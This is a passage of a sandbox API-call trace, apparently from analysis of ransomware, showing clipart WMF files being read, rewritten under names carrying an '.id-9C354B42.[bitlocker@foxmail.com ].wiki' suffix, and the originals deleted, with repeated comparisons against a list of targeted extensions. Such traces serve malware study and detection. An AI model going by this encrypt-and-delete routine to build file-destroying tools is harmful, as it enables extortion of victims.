(lpString1=".7z", lpString2="WMF") returned -1 [0193.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0193.278] lstrlenW (lpString=".dbf") returned 4 [0193.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0193.278] lstrlenW (lpString=".1cd") returned 4 [0193.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0193.278] lstrlenW (lpString=".jpg") returned 4 [0193.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0193.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0193.278] lstrlenW (lpString=".doc") returned 4 [0193.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.278] lstrlenW (lpString=".docx") returned 5 [0193.278] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.278] lstrlenW (lpString=".pdf") returned 4 [0193.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.278] lstrlenW (lpString=".xls") returned 4 [0193.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.278] lstrlenW (lpString=".xlsx") returned 5 [0193.278] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.278] lstrlenW (lpString=".ppt") returned 4 [0193.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0193.278] lstrlenW (lpString=".zip") returned 4 [0193.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.279] lstrlenW (lpString=".rar") returned 4 [0193.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.279] lstrlenW (lpString=".bz2") returned 4 [0193.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.279] lstrlenW (lpString=".7z") returned 3 [0193.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0193.279] lstrlenW (lpString=".dbf") returned 4 [0193.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0193.279] lstrlenW (lpString=".1cd") returned 4 [0193.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0193.279] lstrlenW (lpString=".jpg") returned 4 [0193.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.279] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.279] lstrlenW (lpString="J0105280.WMF") returned 12 [0193.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.280] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=11540) returned 1 [0193.280] CloseHandle (hObject=0x1e0) returned 1 [0193.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 0x20 [0193.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.280] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.280] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.281] GetLastError () returned 0x0 [0193.281] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2d14, lpOverlapped=0x0) returned 1 [0193.282] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2d20, lpOverlapped=0x0) returned 1 [0193.283] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.284] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.284] SetEndOfFile (hFile=0x1dc) returned 1 [0193.284] CloseHandle (hObject=0x1dc) returned 1 [0193.284] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.284] SetEndOfFile (hFile=0x1e0) returned 1 [0193.285] CloseHandle (hObject=0x1e0) returned 1 [0193.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0193.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0193.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0193.285] lstrlenW (lpString=".doc") returned 4 [0193.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.285] lstrlenW (lpString=".docx") returned 5 [0193.285] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.285] lstrlenW (lpString=".pdf") returned 4 [0193.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.285] lstrlenW (lpString=".xls") returned 4 [0193.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.285] lstrlenW (lpString=".xlsx") returned 5 [0193.285] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.285] lstrlenW (lpString=".ppt") returned 4 [0193.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0193.286] lstrlenW (lpString=".zip") returned 4 [0193.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.286] lstrlenW (lpString=".rar") returned 4 [0193.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.286] lstrlenW (lpString=".bz2") returned 4 [0193.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.286] lstrlenW (lpString=".7z") returned 3 [0193.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0193.286] lstrlenW (lpString=".dbf") returned 4 [0193.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0193.286] lstrlenW (lpString=".1cd") returned 4 [0193.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0193.286] lstrlenW (lpString=".jpg") returned 4 [0193.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0193.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0193.286] lstrlenW (lpString=".doc") returned 4 [0193.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.286] lstrlenW (lpString=".docx") returned 5 [0193.286] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.286] lstrlenW (lpString=".pdf") returned 4 [0193.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.286] lstrlenW (lpString=".xls") returned 4 [0193.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.286] lstrlenW (lpString=".xlsx") returned 5 [0193.286] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.286] lstrlenW (lpString=".ppt") returned 4 [0193.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0193.287] lstrlenW (lpString=".zip") returned 4 [0193.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.287] lstrlenW (lpString=".rar") returned 4 [0193.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.287] lstrlenW (lpString=".bz2") returned 4 [0193.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.287] lstrlenW (lpString=".7z") returned 3 [0193.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0193.287] lstrlenW (lpString=".dbf") returned 4 [0193.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0193.287] lstrlenW (lpString=".1cd") returned 4 [0193.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0193.287] lstrlenW (lpString=".jpg") returned 4 [0193.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.287] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.287] lstrlenW (lpString="J0105282.WMF") returned 12 [0193.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.288] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4796) returned 1 [0193.288] CloseHandle (hObject=0x1e0) returned 1 [0193.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 0x20 [0193.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.288] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.288] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.289] GetLastError () returned 0x0 [0193.289] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x12bc, lpOverlapped=0x0) returned 1 [0193.290] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0193.291] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.291] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.291] SetEndOfFile (hFile=0x1dc) returned 1 [0193.291] CloseHandle (hObject=0x1dc) returned 1 [0193.291] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.291] SetEndOfFile (hFile=0x1e0) returned 1 [0193.292] CloseHandle (hObject=0x1e0) returned 1 [0193.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0193.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0193.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0193.293] lstrlenW (lpString=".doc") returned 4 [0193.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.293] lstrlenW (lpString=".docx") returned 5 [0193.293] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.293] lstrlenW (lpString=".pdf") returned 4 [0193.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.293] lstrlenW (lpString=".xls") returned 4 [0193.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.293] lstrlenW (lpString=".xlsx") returned 5 [0193.293] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.293] lstrlenW (lpString=".ppt") returned 4 [0193.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0193.293] lstrlenW (lpString=".zip") returned 4 [0193.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.293] lstrlenW (lpString=".rar") returned 4 [0193.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.293] lstrlenW (lpString=".bz2") returned 4 [0193.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.293] lstrlenW (lpString=".7z") returned 3 [0193.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0193.293] lstrlenW (lpString=".dbf") returned 4 [0193.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0193.293] lstrlenW (lpString=".1cd") returned 4 [0193.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0193.293] lstrlenW (lpString=".jpg") returned 4 [0193.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0193.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0193.294] lstrlenW (lpString=".doc") returned 4 [0193.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.294] lstrlenW (lpString=".docx") returned 5 [0193.294] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.294] lstrlenW (lpString=".pdf") returned 4 [0193.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.294] lstrlenW (lpString=".xls") returned 4 [0193.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.294] lstrlenW (lpString=".xlsx") returned 5 [0193.294] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.294] lstrlenW (lpString=".ppt") returned 4 [0193.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0193.294] lstrlenW (lpString=".zip") returned 4 [0193.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.294] lstrlenW (lpString=".rar") returned 4 [0193.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.294] lstrlenW (lpString=".bz2") returned 4 [0193.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.294] lstrlenW (lpString=".7z") returned 3 [0193.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0193.294] lstrlenW (lpString=".dbf") returned 4 [0193.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0193.294] lstrlenW (lpString=".1cd") returned 4 [0193.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0193.295] lstrlenW (lpString=".jpg") returned 4 [0193.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.295] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.295] lstrlenW (lpString="J0105286.WMF") returned 12 [0193.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.295] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=6568) returned 1 [0193.295] CloseHandle (hObject=0x1e0) returned 1 [0193.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 0x20 [0193.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.296] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.296] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.296] GetLastError () returned 0x0 [0193.296] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x19a8, lpOverlapped=0x0) returned 1 [0193.298] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x19b0, lpOverlapped=0x0) returned 1 [0193.299] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.299] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.299] SetEndOfFile (hFile=0x1dc) returned 1 [0193.299] CloseHandle (hObject=0x1dc) returned 1 [0193.299] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.299] SetEndOfFile (hFile=0x1e0) returned 1 [0193.300] CloseHandle (hObject=0x1e0) returned 1 [0193.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0193.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0193.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0193.300] lstrlenW (lpString=".doc") returned 4 [0193.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.300] lstrlenW (lpString=".docx") returned 5 [0193.300] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.300] lstrlenW (lpString=".pdf") returned 4 [0193.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.300] lstrlenW (lpString=".xls") returned 4 [0193.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.300] lstrlenW (lpString=".xlsx") returned 5 [0193.300] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.300] lstrlenW (lpString=".ppt") returned 4 [0193.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0193.301] lstrlenW (lpString=".zip") returned 4 [0193.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.301] lstrlenW (lpString=".rar") returned 4 [0193.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.301] lstrlenW (lpString=".bz2") returned 4 [0193.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.301] lstrlenW (lpString=".7z") returned 3 [0193.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0193.301] lstrlenW (lpString=".dbf") returned 4 [0193.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0193.301] lstrlenW (lpString=".1cd") returned 4 [0193.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0193.301] lstrlenW 